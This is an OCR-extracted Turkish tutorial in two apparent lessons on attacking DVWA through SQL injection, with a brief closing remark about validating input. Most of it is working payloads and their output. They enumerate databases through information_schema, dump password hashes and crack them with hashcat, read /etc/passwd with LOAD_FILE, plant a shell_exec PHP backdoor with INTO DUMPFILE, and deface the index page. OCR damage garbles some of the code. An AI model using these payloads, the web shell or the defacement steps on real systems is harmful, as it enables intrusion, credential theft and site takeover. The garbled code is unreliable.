Peki tirnak karakteri ile web sitenin hata vermesi nasil oluyor da bir guvenlik acig1 oluyor?
Bunun nedeni tirnak karakterleri ile SQL sorgusunun WHERE cumlecigindeki field'larin
degerini kapatip devamina yeni SQL kodlari ekleyebiliyor olusumuzdandir. Fakat buna
gecmeden 6nce biraz kesif yapalim.

Arkaplandaki SQL sorgusunun WHERE cumlecigini iptal edelim. Bdylece veritabanindan
cekilecek veri kisittamasi ortadan kalkacak ve ilgili DVWA sayfasinin kullandidi tum veritabani
tablosu kayitlari ekrana yansitilacaktir.

Metin Kutusuna Girilecek Kod:

9'or'l'="1'#

SQL Sorgusunun Durumu:

SELECT first_name, last name FROM users WHERE user_id ='99" or 'l' = '1' #;

Yukaridaki 99 sayisinin bir anlami yoktur. Dilediginiz sayiy! girebilirsiniz. Fakat '1' = "1’
ifadesinin bir anlami vardir. O da sudur ki 1 sayisi daima 1 sayisina esit olacagindan bu
kiyaslama surekli true donecegi icin WHERE kosulu veritabanindan c¢ekilecek kayitlar
konusunda herhangi bir kisitlamada bulunamayacaktir. Dolayisiyla veritabanindan tim satirlar
cekilecektir.
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Vulnerability: SQL Injection

UserID:|99'or'1'="1"# Submit

ID: 99" or '1' = "1' #
First name: admin
Surname: admin

ID: 99" or '1' = "1' #
First name: Gordon
Surname: Brown

ID: 99" or '1' = "1' #
First name: Hack
Surname: Me

ID: 99" or '"1' = "1"' #
First name: Pablo
Surname: Picasso

ID: 99" or '1' = "1' #
First name: Bob
surname: Smith

Yani arkaplandaki while déngUsu satir sayisi kadar dénecektir ve her iterasyonda ilgili satirin
bilgilerini ekrana ¢ikti olarak yukaridaki resimde oldugu gibi verecektir. Metin kutusuna girilen
kodun sonundaki # isareti MySQL'de SQL sorgusunun geri kalanini yorum yap anlamina gelir.
Bdylece SQL sorgusunun kendinde olan tirnak karakteri fazla olmasina ragmen hataya neden
olmayacaktir.

NOT: -- igareti Oracle'da SQL sorgularinin geri kalanini yorum yap anlamina gelir.

Simdi saldin asamasina gecgelim. Amacimiz hedef sitenin admin kullanicisinin sifresini
6grenmektir. Bunun igin yapilmasi gereken islem en genelden en spesifige dogru MySQL'i
taramaktir. Yani 6nce SQL Injection ile MySQL'de ka¢ tane yuklu veritabani varsa onlarin
isimlerini ekrana yazdirmaliyiz. Sonra iglerinden birini segip sectigimizin veritabanina ait tim
tablolarin isimlerini ekrana yazdirmaliyiz. Daha sonra sectigimiz tablonun tim kolonlarinin
isimlerini ekrana yazdirmaliyiz. Daha sonra kullanici adi ve sifre isimlerine sahip ya da benzer
isimlere sahip kolonlari segip bu kolonlari igeren tablonun kullanildigi bir SQL sorgusunu
mevcut SQL Sorgusuna ilave ederek kolon degerlerini ekrana basmaliyiz. Bdylece en
genelden en spesifie dogru olan bu yolculukta sifre gibi hassas verilere web arayuzinden
ulasmis olacagiz. Hadi basglayalim:

1. ORDER BY ile Kesif

SQL Injection zafiyetine sahip web sayfasina kendi olusturacagimiz SQL sorgusunu ilave
etmenin yolu UNION keyword'inu kullanmaktan gecer. Bu keyword solunda ve sagindaki SQL
sorgularinin g¢ektigi satirlari alt alt toplamaya yarar. Fakat UNION'in sdyle bir kisiti vardir:
UNION'In sol tarafindaki sorgunun segilen kolonlarinin sayisi ile sag tarafindaki sorgunun
secilen kolonlarinin sayisinin ayni olmasi gerekmektedir. Dolayisiyla UNION'i kullanabilmek
icin bizim SQL Injection zafiyetine sahip ilgili sayfanin kullandigi SQL sorgusunda kag tane
kolon segildigini 6grenmemiz gerekir. Bunu 6grenebilmek icin ORDER BY keyword'inden
yararlanacagiz. Bu keyword esasinda tablodan cekilen kayitlari siralama dizenini ayarlar,
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fakat biz bunu tablonun kolon sayilarini belileme amaciyla kullanacagiz. $oyle ki;

Select ... Where ... ORDER BY 1

Yukaridaki ORDER BY der ki Select'in sectigi satirlari 1. Kolona goére alfabetik olarak sirala.
Eger 1 sayisi yerine 2 sayisi konulsaydi o zaman "Select'in segtigi satirlari 2. kolona goére
alfabetik olarak sirala" emri verilmis olurdu. Bu ne ise yarayacak diye dusunidyorsaniz iste
cevabi: ORDER BY'In sayisini sirayla birer birer arttiripp metin kutusuna girdigimizde tim
satirlar ilgili kolona goére siralanacaktir. Fakat ne zaman sayfa bir SQL hatasi verirse bu
durumda girilen sayida kolon sayfadaki SQL sorgusunun kullandidi tabloda mevcut degil
demektir. Farz-i muhal ORDER BY 10 dendiginde eder sayfa hata verirse o zaman anlasilir ki
Select'in (mevcut sqgl sorgusunun) sectigi kolon sayisi 9'dur. Hata su sekilde gorinir:

*Unknown column '10'!

Dolayisiyla SQL sorgusunun kullandigi kolon sayisini bdylece tespit edebiliriz. Bunu DVWA'ya
uygulayacak olursak sirasiyla ekrandaki metin kutusuna asagidaki verileri girin:

99'or'1'="1"ORDER BY 1 #
99'or'1'="1" ORDER BY 2 #
99'or'1'="1"ORDER BY 3 #

ORDER BY 3'te hata verir. Dolayisiyla anlariz ki ilgili SQL sorgusu Select ile sadece 2 tane
kolon secmektedir. Simdi bu bilgiyi UNION ile ilave edecegimiz kendi SQL sorgumuzda
kullanalim. Bdylece herhangi bir syntax hatasina maruz kalmadan iglemlerimize devam
edebilelim.

2.UNION ile SQL ilave Etmek

ORDER BY ile mevcut SQL sorgusunun kullandidi tablonun kolon sayisini tespit etmistik. Bu
sayl 2 idi. Simdi bu bilgiyi kullanarak UNION ile kendi olusturacagimiz bir SQL sorgusunu
mevcut SQL sorgusuna ilave edelim.

Metin Kutusuna Girilecek Kod:

99'or'1'="1' UNION Select 1,2 #

Yukaridaki metin kutusuna girilecek input ile arkaplanda 6nce sayfanin kendisine ait SQL
sorgusunin kullandigi tablonun tim satirlari g¢ekilir. Sonra UNION ile ilave ettigimiz yeni
sorgunun 1 ve 2 verisi 6nceki sorgunun altina kolon kolona denk gelecek sekilde eklenir. Yani
ekrana kayitlari basmaya yarayan while dénglisi UNION'in solundaki SQL sorgusu kadar
calisacagi gibi ayrica bir de UNION'in sagindaki bizim ilave ettigimiz SQL sorgusunun kayitlari
Yani bir satirlik bir veri eklemesinde bulunduk. Bu satir while'in son iterasyonuna denk
geleceginden dolay! ekranda en altta gosterilecektir:
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Vulnerability: SQL Injection

User ID: |99 or '1" ="1" UNION #|| Submit

ID: 99" or '1' = '1' UNIOM Select 1,2 #
First name: admin
Surname: admin

ID: 99" or '1' = "1' UNION Select 1,2 #
First name: Gordon
Surname: Brown

ID: 99" or '1' = '1' UNIOM Select 1,2 #
First name: Hack
surname: Me

ID: 99" or '1' = "1' UNION Select 1,2 #
First name: Pablo
Surname: Picasso

ID: 99" or '1' = '1' UNIOM Select 1,2 #
First name: Bob
Surname: Smith

ID: 99" or '1' = 'la UNION Select 1,2 #
First name: 1
Surname: 2

Bu 1 ve 2 verisinin ekranda gosterildigi konum bir kdseye not edilmelidir. Cunku ileride bu
verilerin yerine SQL fonksiyonlari koyulacaktir ve SQL fonksiyonlarinin déndirdtugu degerler
1 veyahut 2 yerine gosterilecektir.

3. SQL Fonksiyonlari ile Kesif
Simdi zafiyete sahip web sayfasinin kullandigi veritabanini tanimak igin bazi SQL fonksiyonlari
kullanalim:

e version() fonksiyonu kullanilan veritabani yaziliminin versiyonunu verir.

Metin Kutusuna Girilecek Kod:

99' or '1' ='1' UNION Select 1,version() #

ID: 99" or "1' = '1' UNION Select 1,version() #
First name: 1
Surname: 5.5.46-8ubuntu®.l14.04.2

NOT: version() fonksiyonu 2 verisi yerine konuldugu igin 6nceden 2 verisinin gériintiilendigi yer olan
Surname: simdi MySQL'in versiyonunu gésterir.
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e user() fonksiyonu veritabani yaziliminin kullanici adini verdirir:

Metin Kutusuna Girilecek Kod:

99' or '1'="'1"' UNION Select 1,user() #

ID: 99" or '"1' = "1' UNION Select 1,user() #
First name: 1
Surname: hasan @localhost

e database() fonksiyonu mevcut sql sorgusunun kullandigi tablonun yer aldigi veritabaninin
adini verir:

Metin Kutusuna Girilecek Kod:

99' or '1' ="1' UNION Select 1,database() #

ID: 99" or '"1' = '1' UNION Select 1,database() #
First name: 1
Surname: dvwa

o @@datadir keyword'l veritabaninin yukli oldugu dizini verir;

Metin Kutusuna Girilecek Kod:

99'or '1'="'1' UNION Select 1,@ @datadir #

ID: 99' or '"1' = '1' UNION Select 1,@@datadir #
First nmame: 1
Surname: fvar/Llib/mysql/

4. Hedefe Dogru

Kesif islemi sonrasi artik sifre gibi hassas bilgileri ele gecirme iglemine baslayabiliriz. Once
hedef sistemdeki tim veritabani isimlerini 6grenelim. Bunun icin MySQL'le beraber default
olarak gelen information_schema adli veritabanindan yararlanacagiz. Bu veritabani MySQL'in
5.0.0 versiyonu ve sonrasinda var oldugundan ve kesif agsamasinda yaptigimiz tespite gére
MySQL'in versiyonu 5.5.46 oldugundan bu veritabanini kullanabilecediz demektir.
information_schema adh bu veritabani MySQL'de olusturulan tiim yeni veritabanlarinin,
tablolarin, kolonlarin kaydini dinamik olarak tutan bir veritabanidir. Hedef sistemdeki tim
veritabanlarinin isimlerini information_schema veritabaninin schemata adli tablosundaki
schema_name adli kolonundan &grenebiliriz(Bunlari ezberlemenize gerek yoktur.
Phpmyadmin'i acip information_schema'yi inceleyerek aradiginizi zaten bulabilirsiniz. Ona
gore de enjeksiyon kodunu yazabilirsiniz):

Metin Kutusuna Girilecek Kod:

99' or '1' ='1' UNION Select 1,schema_name from information_schema.schemata #
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Yukaridaki enjeksiyon kodundaki UNION sonrasi ilave ettigimiz sorgu hedef sistemdeki tim
veritabani isimlerini satir satir gekecektir. UNION 6ncesinin satirlari ile UNION sonrasinin
satirlari alt alta eklenecektir. Veritabani ismi sayisi kadar while dénglsunun iterasyonu
fazladan tekrarlanacak ve ona gore de ekrana ¢ikti yansiyacaktir. UNION'In sadindaki bizim
ilave ettigimizz sorgunun dondurecedi veritabani isimlerini alt alta degil de tek satirda gérmek
isimizi kolaylagtirir. Dolayisiyla okunurlugu arttirmak adina bu satirlari group_concat()
fonksiyonu ile tek satira indirgeyip virgul ile birbirlerinden ayiralim:

Metin Kutusuna Girilecek Kod:
99' or 7' = 1' UNION Select 1,group_concat(schema_name) from

information_schema.schemata #

Boylece while dongusu ekstradan sadece bir kez donecektir ve asagidaki ¢ikti meydana
gelecektir:

Vulnerability: SQL Injection

User ID: Submit

ID: 99' or '1' = '1' UNION Select 1,group concat({schema name) from information sqhema.schemata #
First name: admin
Surname: admin

ID: 99' or 'l' = '1' UNION Select 1,group_concat({schema name)} from information sdhema.schemata #
First name: Gordon
Surname: Brown

ID: 99' or 'l' = '1' UNION Select 1,group concat({schema name} from information sdhema.schemata #
First name: Hack
surname: Me

ID: 99' or 'l' = '1' UNION Select 1,group_concat(schema _name) from information_sdhema.schemata #
First name: Pablo
Surname: Picasso

ID: 99' or '1' = '1' UNION Select 1,group_concat({schema name) from information sqhema.schemata #
First name: Bob
Surname: Smith

ID: 99' or '1' = '1' UNION Select 1,group concat(schema name) from information sqhema.schemata #
First name: 1
Surname: information schema,dvwa,mysql,nowasp,performance schema,phpmyadmin

Sari renkle vurgulananlar hedef sistemin MySQL'indeki yukli veritabanlarini gdstermektedir.
Siralanan veritabanlarindan diyelim ki dvwa'yi gé6zimuze kestirdik. Onu sectik ve bir kdseye
not ettik.

Simdi sectigimiz dvwa veritabaninin tablolarini ekrana basalim. Bdylece odaklanacagimiz
tabloyu belirlemis olalim. Bu islem igin yine information_schema veritabaninindan
faydalanacagiz. Fakat bu sefer tables adl tablosunu kullanacagiz. tables tablosunun
table_name kolonu MySQL'deki tablo adlarini siralamaktadir. Biz daha 6énce belirledigimiz
veritabani olan dvwa'nin igerdigi tablolari siralamak i¢in sorgumuza bir WHERE kosulu ilave
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edecegiz.

Metin Kutusuna Girilecek Kod:

99' or '"1' = '1' UNION Select 1,group_concat(table_name) from information_schema.tables
Where table_schema='dvwa' #

ID: 99' or '1' = '1' UNION Select 1,group concat(table name)
First name: 1
Surname: guestbook,users

Girilen koda dikkat edin. Daha 6nce belirledigimiz dvwa adli veritabaninin tablolarini siralama
sorgusu ekledik. Bunun sonucu olarak yukaridaki resimden de gorebileceginiz gibi dvwa adli
veritabaninin tablolari siralandi. Sifre tarzi bilgilerin yer alabilecedini dustindigimuz tablo
olarak users'i gézimuze kestirelim ve ona odaklanalim.

Segctigimiz veritabani olan dvwa'nin sectigimiz tablosu users'i tanimak icin kolon isimlerini
ekrana basabiliriz. Bunun igin tekrar information_schema adl veritabanindan faydalanacagiz.
Bu sefer bu veritabaninin columns tablosunu kullanacagiz. Bu tablonun column_name kolonu
MySQL'deki tim kolonlari satir satir siralar. Biz sadece daha énce belirledigimiz tablo olan
users'in kolonlarinin isimlerini 6grenmek istedigimizden columns tablosuna WHERE ile kayit
daraltma islemi uygulayacagiz:

Metin Kutusuna Girilecek Kod:

99' or 1 = 1 UNION Select 1,group_concat(column_name) from
information_schema.columns Where table_name='users' #

ID: 99' or 'l' = '1' UNION Select 1,group concat{column name) from infgrma
First name: 1
Surname: user_id,first name,last name,user,password,avatar,last login,failed login

Goruldugu uzere users tablosunun kolon isimleri ekrana geldi. Boylelikle kullanici adi ve gifre
degeri tutan user ve password adl kritik kolonlari tespit etmis bulunmaktayiz. Sira bunlarin
tuttugu degerleri yazdirmakta.

Belirledigimiz veritabaninin belirledigimiz tablosunun belirledigimiz kolonlarinin degerlerini
yazdirmak igin ilave ettigimiz SQL sorgusunu buna gdre sekillendirmemiz gerekmektedir.
Kullanilacak tablo olarak belirledigimiz tablo ismini kullanip Select'in segecegi kolon isimleri
olarak da username ve password'l kullanarak iglemi tamamlayabiliriz.

Metin Kutusuna Girilecek Kod:

99' or '1' = '1' UNION Select 1,group_concat(user,0x3b,password,0x0a) from dvwa.users #
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ID: 99' or '"1' = "1' UNION Select 1,group concat(user,®x3b,password,®xPa) from dywa.users #
First name: 1

Surname: admin;5fd4dcc3b5aa7e5d61d8327deb882cfo9
,gordonb;e99al18c428cb38d51268853678922e83
,1337;8d3533d75ae2c3966d7e0d4fcc69216b
.pablo;0d187d09f5bbedBcade3de5c71e9e9b7
,smithy;5f4dcc3b5aa765d61d8327deb882c199

Goruldugu tzere hedef sitenin hedef veritabani tablosunda kayith kullanici adlari ve sifrelerini
ekrana basmis bulunmaktayiz. Sifreler MD5 ile sifrelenmis vaziyettedir. Bu sifrelenmis sifreler
HashCat adh tool ile kirilabilir. Hashcat ile nasil kirllacagi asagida Ekstra adli baglikta
aciklanacaktir. Saldiri koduna doénecek olursak dikkat ederseniz 0x3b ve 0x0a kullaniimistir.
0x3b hexadecimal sistemde noktall virgul (;) anlamina gelir. Ox0a ise hexadecimal sistemde
satir atlatma anlamina gelir. Boylelikle kullanici adlarini ve sifrelerini birbirlerinden okunurluga
uygun bir sekilde ayrik olarak ekrana yansitiimasini saglamis olduk.

Ozet
Enjeksiyon boyunca metin kutusuna girilen kodlar sirasiyla asagida verilmistir:

99" or '1'" = "'1" #

99" or 'l1' = '1' ORDER BY 1 #

99" or '1' = '1' ORDER BY 2 #

99" or '1' = '1' ORDER BY 3 #

99" or 'l1' = '1' UNION Select 1,2 #

99" or 'l1' = '1' UNION Select 1,version() #

99" or '1' = 'l1' UNION Select 1,schema name from

information schema.schemata #

99" or 'l1'" = '1' UNION Select 1,group concat (schema name) from
information schema.schemata #

99" or '1' = '1'" UNION Select 1,group concat (table name) from
information schema.tables Where table schema='dvwa' #

99" or '"l1'" = '1' UNION Select 1,group concat (column name) from

information schema.columns Where table name='users' #
99" or '1' = '1' UNION Select 1,group concat (user,0x3b,password,0x0a) from
dvwa.users #

Sonug

Uzun lafin kisasi metin kutulari gibi kullanicinin input girebilecedi yerler denetlenmeye tabi
tutulmaldir. Mesela kullanicidan gelen veri tirnak iceriyorsa bu oldugu gibi sql sorgusuna
katilmamalidir. Bunun yerine ya tirnak isareti silinip sql sorgusuna dahil edilmelidir ya da
tamamen bloklanmali, yani sql sorgusuna dahil edilmemelidir. Eger bdylesi denetim
mekanizmalari PHP, ASP, JSP gibi dillerle kurulmazsa bu derste oldugu gibi tek tirnak
karakterinden hedef web uygulamasinin admin kullanicisinin sifresine ulasabiliriz.

Ekstra

SQL Injection ile elde edilen parolalardan admin'inkini HashCat adli parola kirma yazihmiyla
kiralim. Oncelikle Hashcat'i indirelim (Linux kullandiginiz varsayilimistir):

wget http://www.includekarabuk.com/kitaplik/indirmeDeposu/hashcat-
2.00.tar.gz

Ardindan sikistiriimis dosyayi agcalim:

1 chmod a+x hashcat-2.00.tar.gz
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2 tar -xzvf hashcat-2.00.tar.gz

3 cd hashcat-2.00

Parolay! kirmak i¢in yaklasik 14 milyon satirli meshur bir s6zllik dosyasini indirelim:

NOT: Sézliik ile kastedilen her satirda bir kelimenin yer aldigi milyonlarca satirlik text dosyasidir. Bu
text dosyasindaki her bir kelime sirasiyla bir algoritma ile hash'e déndistiirtiliip bizim admin kullanicisinin
parolasiyla (hash'iyle) kiyaslanacaktir. Ne zaman eslesme olursa o zaman eslesen hash'lere sebebiyet
veren sézliikteki kelime bizim asil parolamiz demektir. Yani parolayi kirmis oluruz.

1 wget http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt
Artik hashcat ile parola kirmak igin haziriz. SQL Injection ile elde ettigimiz parola suydu:

admin;5f4dcc3b5aa765d61d8327deb882cf99

Hash verisini bir dosyaya kaydedin:

parola.txt:
5f4dcc3b5aa765d61d8327deb882cf99

Yukaridaki parola MD5 algoritmasi ile sifrelenmistir. Dolayisiyla hashcat icin -m 0 parametre
degeri kullaniimahdir (hashcat'in kullanimina pek girmeyecegdim). Ardindan terminale sunu
girin:

1 ./hashcat-cli64.bin -m 0 -a 0 parola.txt rockyou.txt

Ve enter'layin. Boylece sifreyi kirmig olursunuz:

root@hefese-N611q: fhome /hefese/hashcat-2.00# . /hashcat-cli6é4.bin -m @ -a © dvwa rockyou.txt
Initializing hashcat v2.00 with 8 threads and 32mb segment-size...

Added hashes from file dvwa: 1 (1 salts)
Activating quick-digest mode for single-hash

5f4dcc3b5aa765d61d8327deb882cF99 : METTIRY

ALl hashes have been recovered

Input.Mode: Dict (rockyou.txt)
: 1/5 (segment), 3627099 (words), 33550343 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 3.95M words
Progress..: 3173716/3627099 (87.50%)
Running...: 00:00:00:01
Estimated.: --:--:--:--

Started: Sun Jan 17 10:59:11 2016
Stopped: Sun Jan 17 10:59:12 2016
root@hefese-N613q: /home /hefese/hashcat-2.00# I

Goruldugu Uzere admin kullanicisinin sifresi "password"mus. Bdylece serlivenin sonuna
gelmis bulunmaktayiz.
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DERS 15 - SQL INJECTION (LOW LEVEL) II

Bu yazida guvenlik duzeyi tipki bir dnceki derste oldugu gibi Low Level iken DVWA'ya SQL
Injection saldirisi uygulanacak ve bu seferkinde hassas dosyalara erisim, sayfa hack'leme gibi
pratik uygulamalar yapilacaktir.

Dersin Hedefi
SQL Injection saldinsiyla hedef sistemin hassas dosyalarini okuyun ve hedef web
uygulamasinin (DVWA'nin) anasayfasini hack'leyin.

Uyari

Bu yazida SQL Injection'in nasil yapildigina dair detayli agiklama bulamayacaksiniz. Clnku
daha énceki derste nasil SQL Injection yapilirdan detayli bir sekilde bahsedilmistir. Bu nedenle
bu yaziyi daha iyi 6zimseyebilmeniz icin dncelikle su linkteki SQL Injection'a giris niteliginde
olan yaziyi okumanizi siddetle éneririm.

SQL Injection ile Hassas Dosyalara Erisim

Gecgen derste bildiginiz Gzere SQL Injection saldirisiyla admin kullanicisinin veritabaninda
sakl sifresini 6grenmis ve ardindan Hashcat adli sifre kirma programiyla da sifrelenmis sifreyi
kirmistik. Bu derste ise ilk olarak linux sistemlerinde hassas bir dosya olan /etc/passwd icerigini
okumaya calisacagiz. Daha 6énceki derste kesif calismalari sonrasi elde edilen bilgiler bu
derste tekrarlanmayacaktir. Direk 6zet niteligindeki saldiri kodlarina yer verilecektir.

Ekrandaki metin kutusuna her biri bir asamay! temsil eden asagidaki kodlari girdigimizi
varsayalim.

99" or '1'" = '1'" #

99" or '1' = '1' ORDER BY 1 #

99" or '"1' = '1' ORDER BY 2 #

99" or '1'" = '1' ORDER BY 3 #

99" or '"l1'" = '1' UNION Select 1,2 #

99" or '1' = '1' UNION Select null, LOAD FILE('/etc/passwd') #

En son satirdaki kod bu bashgin istedigi hassas dosyaya erisim kodudur. Ondan dncekiler ise
kesif kodlaridir. Konumuz geredi en son koda deginecek olursak gorildigu Uzere
LOAD_FILE() fonksiyonu ile SQL sorgusu ulzerinden SQL sorgusunun calistigi yerel
sistemdeki bir dosyanin igerigi enjekte edilen sorgunun ikinci kolonuna deger olarak
yuklenmigtir. Boylece sayfaya hassas dosyanin igerigi yansitilir. Bunu birebir DVWA (zerinden
deneyimlemek icin LOAD_FILE()''In yer aldigi enjeksiyon kodunu metin kutusuna girin:

Metin Kutusuna Girilecek Kod:

99' or '1' ="1' UNION Select null, LOAD_FILE('/etc/passwd’) #
Cikti:
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Vulnerability: SQL Injection

User ID: Submit

ID: 99' or '"1' = "1' union select null, LOAD FILE('/etc/passwd’)
First name: admin

Surname: admin

H

ID: 99' or '1' = '1' union select null, LOAD FILE('/etc/passwd') #
First name: Gordon
surname: Brown

ID: 99' or '1' = '1' union select null, LOAD FILE('/etc/passwd') #
First name: Hack
surname: Me

ID: 99' or '"1' = "1' union select null, LOAD FILE('/etc/passwd’)
First name: Pablo
Surname: Picasso

H:

ID: 99' or '1' = "1' union select null, LOAD FILE('/etc/passwd') #
First name: Bob
Surname: Smith

ID: 99' or '"1' = "1' union select null, LOAD FILE('/etc/passwd')
First name:

surname: root:x:0:08:root:/root: /bin/bash
daemon:x:1:1:daemon: fusr/sbin: /usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:fdev:/usr/sbin/nologin
sync:x:4:65534:sync: /bin: /bin/sync
games:x:5:68:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man: fusr/sbin/nologin

H

lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:fusr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp: /var/spool/uucp: fusr/sbin/nologin

proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
www-data:x:33:33:www-data: /var/www: /usr/sbin/nologin
backup:x:34:34:backup: fvar/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd: fvarﬁrunflrcd jusrfsblnfnulugln

e s AT 3 AT aFmmd s Noas NDaen e s Do Fmdmambic fisme Tl ah famandes s fim e febam FmnT mma

Yukaridaki resimden gorebileceginiz Uzere sari ile vurgulanan alan hassas bir dosya olan
passwd dosyasinin igeriginin ekrana yansitildigini géstermektedir. passwd dosyasi sistemdeki
aktif kullanicilarin ve servislere ait kullanicilarin bir listesine ve bu kullanicilarin ait olduklari
gruplar bilgisine sahiptir. Bu bilgilerin nesi hassas der gibisiniz? :) Bu bilgiler olasi bir Brute
Force saldirisi ya da Sozluk saldirisi durumunda saldirgana kullanici adini tahmin ettirerek
zaman kaybettirmektense kullanici adi gibi degerli bir bilgiyi bilip ona has brute force saldirisi
yapabilmesine, yani zaman kazanmasina fayda saglar. Yani saldirganin elinde iki bilinmeyenli
(username,password) bir denklem varken siz bunu tek bilinmeyenli bir denkleme distrmus
olursunuz. Artik cdzmek daha kolay olur degil mi? :) passwd dosyasindaki diger 6nemli bilgiye
gelecek olursak kullanicilarin ait olduklari grup bilgisi saldirgan igin bir kilit tagidir. Clnkl bir
hesabin sifresi kirlldi m1 o sifreyle sisteme sizildiginda o hesabin ait oldugu grup kadar
sistemde yetkili olunabilir. Eger yetkisi kisik bir hesap kirilimigsa sistemin derinliklerine
sizilamaz, istenildigi gibi at oynatilamaz. Fakat root grubuna ait bir hesap kiriimigsa bu
durumda her sey vyapilabilir. Tipki hedef makinanin karsisinda oturuyormuscasina...
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SQL Injection ile Sayfa Hack'lemek
SQL "INTO DUMPFILE" keyword'l saldirganlar icin velinimettir. Bu keyword SQL sorgusunun
sectigi kaydin degerini belirtilen dosyaya yazmaya yarar. Ornek kullanimi su sekildedir:

Syntax'i:
Select ........... INTO DUMPFILE 'dosyaninAdi';

Simdi bu SQL syntax'ini kullanarak DVWA'da bir arka kapi olusturalim. Boylece sistemde kalici
olalim. Yani istedigimiz zaman sisteme girebilelim. Ardindan arka kapi! Gzerinden sistemin
anasayfasini hack'leyelim. Arka kapi dosyasina asagidaki kodlar igerik olacaktir:

backdoor.php:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8">

<form action="" method="GET" encytype="application/x-waw-form-urlencoded":
<table style="margin-left:auto; margin-right:auto;"»
<trx
<td colspan="2">»Litfen bir sistem komutu girin</td>
<ftr>
<trrctds</tdr</tr>
<trx
<td=Komutestd>
<td>
<input type="text" name="pCommand" size="58"/>
</ td>
<ftr>
<tr:
<td></td>
<ftr>
<tr:

<td colspan="2" style="text-align:center;">
<input type="submit" value="Komutu Calistir"/>
</ td>
<ftr>
</table>
</form:>
<?php
echo "<pre»";
echo shell exec(@%_REQUEST["pCommand™]);
echo "</pre>";
I

Bu kodlari simdi SQL sorgusuna koyabilmek i¢in tek satir haline getirelim:

<meta http-equiv="Content-Type'" content="text/html; charset=utf-8"><form
action="" method="GET" encytype="application/x-www-form-urlencoded"><table
style="margin-left:auto; margin-right:auto,;"><tr><td colspan="2">Liitfen
sistem komutu
girin</td></tr><tr><td></td></tr><tr><td>Command</td><td><input type="text"
name="pCommand" size="50"/></td></tr><tr><td></td></tr><tr><td colspan="2"
style="text-align:center,;"><input type="submit" value="Komutu
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Calistir"/></td></tr></table></form><?php echo "<pre>";echo
shell exec($ REQUEST["pCommand"]); echo "</pre>"; ?>

Ardindan sayfadaki SQL sorgusuna enjeksiyon yapmamiza imkan veren UNION keyword'u ile
arkakapi olusturan SQL sorgumuzu olusturalim.

" UNION Select null, '...arkakapiKodlari..." INTO DUMPFILE 'backdoor.php' # ,

Bu ilave SQL sorgusuna yukaridaki tek satira indirgedigimiz arka kapi kodlarini ekleyelim:

' UNION Select null, '<meta http-equiv="Content-Type" content="text/html;
charset=utf-8"><form action="" method="GET" encytype="application/x-www-
form-urlencoded"><table style="margin-left:auto, margin-
right:auto,;"><tr><td colspan="2">Liitfen sistem komutu
girin</td></tr><tr><td></td></tr><tr><td>Command</td><td><input type="text"
name="pCommand" size="50"/></td></tr><tr><td></td></tr><tr><td colspan="2"
style="text-align:center;"><input type="submit" value="Komutu
Calistir"/></td></tr></table></form><?php echo "<pre>";echo
shell_exec($_REQUEST["pCommand"]); echo "</pre>"; ?>' INTO DUMPFILE
'/var/www/backdoor.php' #

Yukaridaki enjeksiyon koduna dikkatli bakacak olursaniz ilave SQL sorgusunda iki kolon
vardir. Birisi null, digeri ise arka kapinin kodlari. Bunun akabinde INTO DUMPFILE keyword'l
ile arka kapi kodlari backdoor.php dosyasina yazdiriimaktadir. Bu olusan backdoor.php
dosyasi enjekte ettiginiz sayfanin dizininde yer alacaktir. Simdi arka kapidan sisteme giris
yapalim:

http://localhost/backdoor.php

' [ Yonetim Par x‘ [ Yonetim Par x‘ [% Vulnerabilit: x‘ [ localhost/d\ x‘ 5 can't create, x‘@ Mysgl could x‘ - sgl-How

¢ @ 4y [ localhost,

adminadmin
Liitfen sistem komutu girin

Command

| Komutu Cahstir |

Notice: Undefined index: pCommand in /var/www/dvwa/backdoor.php on line 1

Artik sisteme giris yapmis bulunmaktasiniz. Simdi anasayfayl hack'leyelim. Metin kutusuna
oncelikle Is komutunu girin:
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§ c Q [ localhost/dvwa/backdoor.php?pCommand=ls

adminadmin
Liitfen sistem komutu girin

Command Is

Komutu Calistir

CHANGELOG . md
COPYING. txt
HACKED. txt
README . md
about.php
backdoor.php
config

docs

dvwa
external
favicon.ico
hackable
ids_log.php
index (copy).php
instructions.php
login.php
logout.php
php.ini
phpinfo.php
robots.txt
securitv.php

Goruldugu uzere index.php dosyasi kuzu kuzu orada duruyor. Simdi sayfayl hack'lemeden
once bir yedek alin. CUnklU ders bittiginde eski haline getirmek isteyeceksiniz. Ardindan
asagidaki komutu metin kutusuna girin:

Girilecek Komut:

echo '<font color="red"><center><hl>Hacked By Bla
Bla</hl></center></font><br>' > index.php

I vonetim ponl-Tes Y 3 énetimpancti-vez xV 1 velnerablzsqun 7 1 ocavostdeost - Elocabostfdvual " 1 ocshostovusoc. X SRR

{ € & [ localhost/dvwa/backdoor.php?pCommand=echo+" <font+color%3Dred><center><h1>Hacked+By+Falan+Filan<%2Fh1><%2Fcenter><%2Ffont><br>"@ 77| @l =

adminadmin
Liitfen sistem komutu girin

Command echo "<font color=red><center><h1>Hacked By Bla Bla</h1></cente!

Komutu Calistir

Komutu Calistir butonuna bastiginiz takdirde siteyi hack'lemis olursunuz. Simdi anasayfaya
gidin:
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http://localhost/dvwa/

' [3 Yénetim Paneli - Tas! x‘ [3 Y6netim Paneli- Yaz: x‘ [3 vulnerability: SQL In x‘ [3 localhost/dvwa/bac xy localhost/dvwa/ X‘D localhost/dvwa/bac/ x_
(4 @ € [ localhost, 7 =

Hacked By Bla Bla

Ve evet, sayfa hack'lendi. Hack'lenen sayfada gérintilenmesi icin sadece metin kullandik.
Fakat resim ve video da kullanabilirdik. Bu tip icerikleri dahil etmek igin metin kutusuna en son
girilen koddaki echo komutundan sonra yer alan tirnak isaretleri arasina resmin veyahut
videonun html kodlari konulabilir.

Shell Olusturma Sirasinda Hata Alanlar

Eger siz de can't create/write to file (errcode 13) hatasini aldiysaniz yalniz degilsiniz. Uzun
